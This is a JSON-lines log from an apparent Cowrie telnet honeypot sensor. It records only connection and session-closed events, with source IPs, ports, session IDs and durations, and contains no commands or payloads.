{"eventid":"cowrie.session.closed","duration":30.649564743041992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:48.043546Z","src_ip":"94.23.76.26","session":"dd70f16522a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.421822547912598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:48.048040Z","src_ip":"94.23.76.26","session":"7b05887f80f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":52286,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d3a53f41494","protocol":"telnet","message":"New connection: 75.119.159.60:52286 (10.17.0.5:23) [session: 2d3a53f41494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:48.299193Z"}
{"eventid":"cowrie.session.closed","duration":30.35509157180786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:49.210786Z","src_ip":"94.23.76.26","session":"827e54b943b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.300621032714844,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:49.431069Z","src_ip":"46.4.8.162","session":"4aa17e09557e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":58282,"dst_ip":"159.203.135.109","dst_port":23,"session":"7162aa8cbe50","protocol":"telnet","message":"New connection: 94.23.76.26:58282 (159.203.135.109:23) [session: 7162aa8cbe50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:50.264868Z"}
{"eventid":"cowrie.session.closed","duration":30.52768898010254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:51.449705Z","src_ip":"46.4.8.162","session":"45894e93f4e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.787766695022583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:52.036479Z","src_ip":"94.23.76.26","session":"d7177a66d7b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.590696811676025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:52.171649Z","src_ip":"94.23.76.26","session":"bb215f106ea1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39378333091736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:52.678194Z","src_ip":"94.23.76.26","session":"ab459907d6a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.270917892456055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:52.820465Z","src_ip":"46.4.8.162","session":"146ebc6468ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":58298,"dst_ip":"159.203.135.109","dst_port":23,"session":"d26a1c591540","protocol":"telnet","message":"New connection: 94.23.76.26:58298 (159.203.135.109:23) [session: d26a1c591540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:53.246004Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":57356,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3d6938c72f3","protocol":"telnet","message":"New connection: 75.119.159.60:57356 (10.17.0.5:23) [session: c3d6938c72f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:53.262424Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":58664,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7515875a1ff","protocol":"telnet","message":"New connection: 35.187.38.22:58664 (159.203.135.109:23) [session: a7515875a1ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:53.364224Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":58308,"dst_ip":"159.203.135.109","dst_port":23,"session":"a420fb987d3d","protocol":"telnet","message":"New connection: 94.23.76.26:58308 (159.203.135.109:23) [session: a420fb987d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:54.341297Z"}
{"eventid":"cowrie.session.closed","duration":31.148613691329956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:54.809934Z","src_ip":"94.23.76.26","session":"b53b42c71f6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.0185546875,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:54.887576Z","src_ip":"46.4.8.162","session":"b4e022cf20b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.559653759002686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:55.049291Z","src_ip":"94.23.76.26","session":"37d4c2c6608f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.793719053268433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:55.626273Z","src_ip":"46.4.8.162","session":"7799f5ee019a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.937217950820923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:55.717986Z","src_ip":"46.4.8.162","session":"674fda85ecd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.876392126083374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:56.126006Z","src_ip":"94.23.76.26","session":"239ebe1ae82d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.891197443008423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:56.244110Z","src_ip":"35.187.38.22","session":"38f03b71af47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.22338366508484,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:56.385057Z","src_ip":"46.4.8.162","session":"22b0df5d2126","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":35718,"dst_ip":"159.203.135.109","dst_port":23,"session":"288a1278b5fa","protocol":"telnet","message":"New connection: 35.187.38.22:35718 (159.203.135.109:23) [session: 288a1278b5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:57.022881Z"}
{"eventid":"cowrie.session.closed","duration":30.871967315673828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:57.083277Z","src_ip":"94.23.76.26","session":"d34ec6ddc37b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":53724,"dst_ip":"159.203.135.109","dst_port":23,"session":"dacdf88f35ce","protocol":"telnet","message":"New connection: 94.23.76.26:53724 (159.203.135.109:23) [session: dacdf88f35ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:57.290145Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":53732,"dst_ip":"159.203.135.109","dst_port":23,"session":"3436f9e533fb","protocol":"telnet","message":"New connection: 94.23.76.26:53732 (159.203.135.109:23) [session: 3436f9e533fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:57.341845Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":53748,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cfa06be6cca","protocol":"telnet","message":"New connection: 94.23.76.26:53748 (159.203.135.109:23) [session: 1cfa06be6cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:57.466964Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":53758,"dst_ip":"159.203.135.109","dst_port":23,"session":"4704454bfe33","protocol":"telnet","message":"New connection: 94.23.76.26:53758 (159.203.135.109:23) [session: 4704454bfe33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:57.514052Z"}
{"eventid":"cowrie.session.closed","duration":30.849011182785034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:58.050545Z","src_ip":"94.23.76.26","session":"96b2cbb61513","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.252577304840088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:58.057546Z","src_ip":"94.23.76.26","session":"b1662400f355","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.709556579589844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:58.062569Z","src_ip":"75.119.159.60","session":"f10510885c85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.250140905380249,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:58.085580Z","src_ip":"84.54.71.14","session":"a34d570328fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":53770,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3eef2372e8d","protocol":"telnet","message":"New connection: 94.23.76.26:53770 (159.203.135.109:23) [session: d3eef2372e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:58.206394Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":53782,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb93afdc6ae7","protocol":"telnet","message":"New connection: 94.23.76.26:53782 (159.203.135.109:23) [session: fb93afdc6ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:58.241587Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":53798,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8a814708bc8","protocol":"telnet","message":"New connection: 94.23.76.26:53798 (159.203.135.109:23) [session: b8a814708bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:59.260350Z"}
{"eventid":"cowrie.session.closed","duration":30.953883409500122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:59.293245Z","src_ip":"35.187.38.22","session":"c2cc329235f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.03134274482727,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:59.331169Z","src_ip":"46.4.8.162","session":"57a249ce79d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.08771634101868,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:59.585058Z","src_ip":"46.4.8.162","session":"7316c54a7575","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":53802,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a1341451b15","protocol":"telnet","message":"New connection: 94.23.76.26:53802 (159.203.135.109:23) [session: 2a1341451b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:59.730990Z"}
{"eventid":"cowrie.session.closed","duration":30.857039213180542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:00.055414Z","src_ip":"94.23.76.26","session":"39d628a7b9db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.802162647247314,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:00.149379Z","src_ip":"46.4.8.162","session":"c62222cd278a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92880129814148,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:00.232545Z","src_ip":"35.187.38.22","session":"5704088ee463","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31021237373352,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:00.260659Z","src_ip":"35.187.38.22","session":"7fb1e0eb85d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":58724,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cd3ca368678","protocol":"telnet","message":"New connection: 46.4.8.162:58724 (159.203.135.109:23) [session: 3cd3ca368678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:00.381095Z"}
{"eventid":"cowrie.session.closed","duration":36.416478395462036,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:01.121094Z","src_ip":"46.4.8.162","session":"7ac73f509e8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.594314336776733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:01.883721Z","src_ip":"94.23.76.26","session":"e04940583e5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":53816,"dst_ip":"159.203.135.109","dst_port":23,"session":"da2e36b68c91","protocol":"telnet","message":"New connection: 94.23.76.26:53816 (159.203.135.109:23) [session: da2e36b68c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:02.246268Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":58740,"dst_ip":"159.203.135.109","dst_port":23,"session":"901349d2e4d7","protocol":"telnet","message":"New connection: 46.4.8.162:58740 (159.203.135.109:23) [session: 901349d2e4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:02.307425Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":53818,"dst_ip":"159.203.135.109","dst_port":23,"session":"6babb9099f39","protocol":"telnet","message":"New connection: 94.23.76.26:53818 (159.203.135.109:23) [session: 6babb9099f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:02.465050Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":53830,"dst_ip":"159.203.135.109","dst_port":23,"session":"55fbc9b157ab","protocol":"telnet","message":"New connection: 94.23.76.26:53830 (159.203.135.109:23) [session: 55fbc9b157ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:02.691288Z"}
{"eventid":"cowrie.session.closed","duration":30.926690578460693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:03.051389Z","src_ip":"94.23.76.26","session":"5bab3ac36b82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.97740340232849,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:03.218121Z","src_ip":"46.4.8.162","session":"47cb27329d4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":53834,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc38647fc73c","protocol":"telnet","message":"New connection: 94.23.76.26:53834 (159.203.135.109:23) [session: cc38647fc73c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:03.279299Z"}
{"eventid":"cowrie.session.closed","duration":32.79359722137451,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:03.541382Z","src_ip":"46.4.8.162","session":"d4ce0b2cf8ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.821415424346924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:05.043140Z","src_ip":"94.23.76.26","session":"20c11612142b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25772500038147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:05.052924Z","src_ip":"94.23.76.26","session":"208f541b4e02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64526104927063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:05.078669Z","src_ip":"75.119.159.60","session":"fcf18e8fdd9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":53836,"dst_ip":"159.203.135.109","dst_port":23,"session":"2813623a99ce","protocol":"telnet","message":"New connection: 94.23.76.26:53836 (159.203.135.109:23) [session: 2813623a99ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:05.133178Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":53848,"dst_ip":"159.203.135.109","dst_port":23,"session":"f480b69fce28","protocol":"telnet","message":"New connection: 94.23.76.26:53848 (159.203.135.109:23) [session: f480b69fce28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:05.206921Z"}
{"eventid":"cowrie.session.closed","duration":30.81049942970276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:05.236347Z","src_ip":"35.187.38.22","session":"a8b80878c217","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":53056,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e1bf0a2d768","protocol":"telnet","message":"New connection: 46.4.8.162:53056 (159.203.135.109:23) [session: 2e1bf0a2d768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:05.724094Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":53066,"dst_ip":"159.203.135.109","dst_port":23,"session":"50c1c5b8bc64","protocol":"telnet","message":"New connection: 46.4.8.162:53066 (159.203.135.109:23) [session: 50c1c5b8bc64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:06.427698Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":41250,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b69ff42df1e","protocol":"telnet","message":"New connection: 94.23.76.26:41250 (159.203.135.109:23) [session: 4b69ff42df1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:06.563588Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":41256,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff6b40c0dd3b","protocol":"telnet","message":"New connection: 94.23.76.26:41256 (159.203.135.109:23) [session: ff6b40c0dd3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:06.602678Z"}
{"eventid":"cowrie.session.closed","duration":30.57614493370056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:07.054579Z","src_ip":"94.23.76.26","session":"a0ce67c2fab8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.844359874725342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:07.062546Z","src_ip":"94.23.76.26","session":"cc824fdc396b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.984965085983276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:07.304733Z","src_ip":"35.187.38.22","session":"bea166733ab4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":42122,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cab4f1c785b","protocol":"telnet","message":"New connection: 75.119.159.60:42122 (10.17.0.5:23) [session: 4cab4f1c785b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:07.432796Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.3.102.191","src_port":37860,"dst_ip":"159.203.135.109","dst_port":23,"session":"e650c5a7b514","protocol":"telnet","message":"New connection: 5.3.102.191:37860 (159.203.135.109:23) [session: e650c5a7b514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:08.058056Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":41258,"dst_ip":"159.203.135.109","dst_port":23,"session":"774ebe8cf156","protocol":"telnet","message":"New connection: 94.23.76.26:41258 (159.203.135.109:23) [session: 774ebe8cf156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:09.018767Z"}
{"eventid":"cowrie.session.closed","duration":30.332239627838135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:09.049337Z","src_ip":"94.23.76.26","session":"3d42516845db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.503371477127075,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:09.079286Z","src_ip":"188.166.220.49","session":"2c62f00ff862","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":41272,"dst_ip":"159.203.135.109","dst_port":23,"session":"584870f90679","protocol":"telnet","message":"New connection: 94.23.76.26:41272 (159.203.135.109:23) [session: 584870f90679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:09.693728Z"}
{"eventid":"cowrie.session.closed","duration":30.85211443901062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:10.069816Z","src_ip":"94.23.76.26","session":"d9985d64af62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":44164,"dst_ip":"10.17.0.5","dst_port":23,"session":"631a44d97d9f","protocol":"telnet","message":"New connection: 75.119.159.60:44164 (10.17.0.5:23) [session: 631a44d97d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:10.254556Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":41278,"dst_ip":"159.203.135.109","dst_port":23,"session":"79fecf176c6b","protocol":"telnet","message":"New connection: 94.23.76.26:41278 (159.203.135.109:23) [session: 79fecf176c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:10.347355Z"}
{"eventid":"cowrie.session.closed","duration":30.68331289291382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:11.054295Z","src_ip":"75.119.159.60","session":"8c8d81eac241","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":53074,"dst_ip":"159.203.135.109","dst_port":23,"session":"db46e769c1dd","protocol":"telnet","message":"New connection: 46.4.8.162:53074 (159.203.135.109:23) [session: db46e769c1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:11.099681Z"}
{"eventid":"cowrie.session.closed","duration":31.01255202293396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:11.236049Z","src_ip":"94.23.76.26","session":"bd1d34b1f622","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":53120,"dst_ip":"159.203.135.109","dst_port":23,"session":"497849e6f89d","protocol":"telnet","message":"New connection: 35.187.38.22:53120 (159.203.135.109:23) [session: 497849e6f89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:11.290436Z"}
{"eventid":"cowrie.session.closed","duration":30.47149634361267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:11.296719Z","src_ip":"94.23.76.26","session":"3cab306fedfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.815383911132812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:12.040346Z","src_ip":"94.23.76.26","session":"5fb50d7781c2","protocol":"telnet"}
